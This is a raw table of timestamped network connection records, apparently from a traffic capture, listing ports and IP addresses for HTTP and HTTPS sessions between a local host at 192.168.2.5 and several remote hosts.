Oct 27, 2024 17:54:43.534049034 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.534205914 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.534218073 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.534235001 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.534248114 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.534250021 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.534259081 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.534271002 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.534285069 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.534303904 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.534328938 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.534328938 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.534360886 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.534377098 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.534388065 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.534426928 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.534437895 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.534482002 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.534527063 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.534528017 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.534538984 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.534605980 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.534693003 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.534710884 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.534723997 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.534735918 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.534748077 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.534754992 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.534759045 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.534775019 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.534780025 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.534780979 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.534792900 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.534805059 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.534816027 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.534818888 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.534842014 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.534859896 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.534884930 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.534940004 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.534950018 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.534965992 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.534979105 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.534981966 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.534991980 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.535011053 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.535052061 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.535109043 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.535120010 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.535135984 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.535149097 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.535159111 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.535160065 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.535170078 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.535219908 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.535248995 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.535260916 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.535271883 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.535300970 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.535319090 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.535326958 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.535331964 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.535347939 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.535372019 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.535398006 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.535444975 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.535470009 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.535897970 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.652292013 CET	443	49958	20.125.209.212	192.168.2.5
Oct 27, 2024 17:54:43.652573109 CET	49958	443	192.168.2.5	20.125.209.212
Oct 27, 2024 17:54:43.652592897 CET	443	49958	20.125.209.212	192.168.2.5
Oct 27, 2024 17:54:43.653708935 CET	443	49958	20.125.209.212	192.168.2.5
Oct 27, 2024 17:54:43.653851032 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.653917074 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.653945923 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.653970003 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.654001951 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.654068947 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.654081106 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.654093981 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.654103994 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.654104948 CET	49958	443	192.168.2.5	20.125.209.212
Oct 27, 2024 17:54:43.654119968 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.654134035 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.654145002 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.654169083 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.654171944 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.654184103 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.654206991 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.654232025 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.654244900 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.654277086 CET	443	49958	20.125.209.212	192.168.2.5
Oct 27, 2024 17:54:43.654309988 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.654310942 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.654323101 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.654340029 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.654352903 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.654357910 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.654365063 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.654377937 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.654381037 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.654390097 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.654408932 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.654432058 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.654441118 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.654445887 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.654458046 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.654469967 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.654476881 CET	49958	443	192.168.2.5	20.125.209.212
Oct 27, 2024 17:54:43.654498100 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.654508114 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.654620886 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.654633045 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.654644012 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.654654980 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.654669046 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.654687881 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.654711008 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.654767036 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.654783964 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.654794931 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.654807091 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.654820919 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.654824972 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.654834032 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.654850006 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.654872894 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.654886961 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.654923916 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.655006886 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.655019045 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.655030012 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.655046940 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.655049086 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.655059099 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.655071020 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.655075073 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.655085087 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.655087948 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.655096054 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.655118942 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.655144930 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.655277967 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.655289888 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.655302048 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.655329943 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.655333996 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.655354977 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.655359983 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.655366898 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.655368090 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.655380964 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.655395985 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.655401945 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.655407906 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.655420065 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.655426025 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.655451059 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.655488014 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.655606031 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.655617952 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.655627966 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.655649900 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.655662060 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.655678988 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.655692101 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.655716896 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.655742884 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.655755043 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.655767918 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.655776978 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.655787945 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.655796051 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.655823946 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.655836105 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.655846119 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.655848026 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.655858994 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.655863047 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.655891895 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.655917883 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.656078100 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.656090975 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.656102896 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.656122923 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.656136990 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.656148911 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.656150103 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.656160116 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.656173944 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.656177998 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.656192064 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.656202078 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.656203032 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.656227112 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.656241894 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.699336052 CET	443	49958	20.125.209.212	192.168.2.5
Oct 27, 2024 17:54:43.702977896 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.702989101 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.703000069 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.703011990 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.703071117 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.703115940 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.732274055 CET	443	49963	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.732893944 CET	49963	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.732932091 CET	443	49963	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.733745098 CET	49963	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.733757019 CET	443	49963	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.738554955 CET	443	49964	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.738801003 CET	443	49962	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.740098000 CET	49964	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.740123987 CET	443	49964	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.741048098 CET	49964	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.741056919 CET	443	49964	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.743068933 CET	49962	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.743083954 CET	443	49962	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.744302034 CET	49962	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.744313002 CET	443	49962	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.745965958 CET	443	49960	104.208.16.92	192.168.2.5
Oct 27, 2024 17:54:43.747730017 CET	49960	443	192.168.2.5	104.208.16.92
Oct 27, 2024 17:54:43.747740030 CET	443	49960	104.208.16.92	192.168.2.5
Oct 27, 2024 17:54:43.749466896 CET	443	49960	104.208.16.92	192.168.2.5
Oct 27, 2024 17:54:43.749543905 CET	49960	443	192.168.2.5	104.208.16.92
Oct 27, 2024 17:54:43.750200987 CET	49960	443	192.168.2.5	104.208.16.92
Oct 27, 2024 17:54:43.750322104 CET	443	49960	104.208.16.92	192.168.2.5
Oct 27, 2024 17:54:43.750751019 CET	49960	443	192.168.2.5	104.208.16.92
Oct 27, 2024 17:54:43.750757933 CET	443	49960	104.208.16.92	192.168.2.5
Oct 27, 2024 17:54:43.750786066 CET	49960	443	192.168.2.5	104.208.16.92
Oct 27, 2024 17:54:43.750864983 CET	443	49960	104.208.16.92	192.168.2.5
Oct 27, 2024 17:54:43.757136106 CET	443	49965	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.757765055 CET	49965	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.757778883 CET	443	49965	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.758450985 CET	49965	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.758456945 CET	443	49965	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.766843081 CET	443	49961	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.767446995 CET	49961	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.767476082 CET	443	49961	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.768080950 CET	49961	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.768091917 CET	443	49961	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.773958921 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.773987055 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.773997068 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.774017096 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.774046898 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.774061918 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.774074078 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.774085045 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.774101019 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.774132013 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.774219990 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.774230957 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.774240971 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.774287939 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.774287939 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.774301052 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.774312973 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.774347067 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.774384975 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.774429083 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.774430037 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.774442911 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.774452925 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.774463892 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.774487019 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.774497032 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.774497986 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.774511099 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.774516106 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.774523020 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.774548054 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.774574995 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.774597883 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.774609089 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.774631977 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.774648905 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.774651051 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.774662971 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.774673939 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.774703026 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.774714947 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.774720907 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.774744034 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.774765015 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.774837017 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.774848938 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.774899960 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.774929047 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.774934053 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.774943113 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.774955988 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.774985075 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.775027990 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.775043964 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.775054932 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.775065899 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.775078058 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.775085926 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.775130987 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.775140047 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.775160074 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.775171995 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.775180101 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.775206089 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.775262117 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.775273085 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.775284052 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.775295019 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.775316000 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.775325060 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.775343895 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.775610924 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.775630951 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.775641918 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.775646925 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.775674105 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.775681973 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.775692940 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.775698900 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.775701046 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.775703907 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.775711060 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.775758982 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.775770903 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.775784016 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.775794983 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.775804996 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.775806904 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.775832891 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.775844097 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.775856972 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.775867939 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.775872946 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.775885105 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.775895119 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.775896072 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.775904894 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.775907993 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.775926113 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.775949001 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.776024103 CET	80	49853	185.215.113.206	192.168.2.5
